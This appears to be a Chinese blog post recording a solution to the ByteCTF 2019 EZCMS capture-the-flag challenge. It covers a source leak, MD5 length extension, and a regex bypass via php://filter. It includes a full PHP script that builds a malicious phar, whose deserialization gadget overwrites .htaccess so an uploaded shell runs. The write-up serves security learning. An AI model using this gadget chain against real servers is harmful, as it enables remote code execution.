刷题记录:[ByteCTF 2019]EZCMS

刷题记录:[ByteCTF 2019]EZCMS

题目复现链接:https://buuoj.cn/challenges
参考链接:ByteCTF_2019&XNUCA_2019部分web题复现

一、知识点

1、源码泄露

访问www.zip获取源码

2、MD5长度扩展攻击

之前涉及过了

3、php://filter绕过正则实现phar反序列化

就算知道是这个思路,自己也做不出来。。。
这里上传shell没有问题,阻碍是.htaccess被乱写导致解析不了,所以我们的目的是重写或者干脆删除.htaccess
首先要知道源码中preg_match('/^(phar|compress|compose.zlib|zip|rar|file|ftp|zlib|data|glob|ssh|expect)/i', $this->filepath)的过滤是可以绕过的,最后访问phar://时可以访问php://filter/resource=phar://

最后的phar脚本如下

<?php

class File{

    public $filename;
    public $filepath;
    public $checker;

    function __construct()
    {
        // $this->checker=new Admin();
        $this->checker=new Profile();

    }

}

class Profile{
    public $username;
    public $password;
    public $admin;

    function __construct()
    {
        $this->admin = new ZipArchive();
        $this->username = "/var/www/html/sandbox/fd40c7f4125a9b9ff1a4e75d293e3080/.htaccess";
        $this->password = ZipArchive::OVERWRITE;
    }

    function __call($name, $arguments)
    {
        $this->admin->open($this->username, $this->password);
    }
}

$a = new File('Lethe','Lethe');
@unlink("1.phar");
$phar = new Phar("1.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
posted @ 2019-09-16 21:47  MustaphaMond  阅读(1341)  评论(0编辑  收藏  举报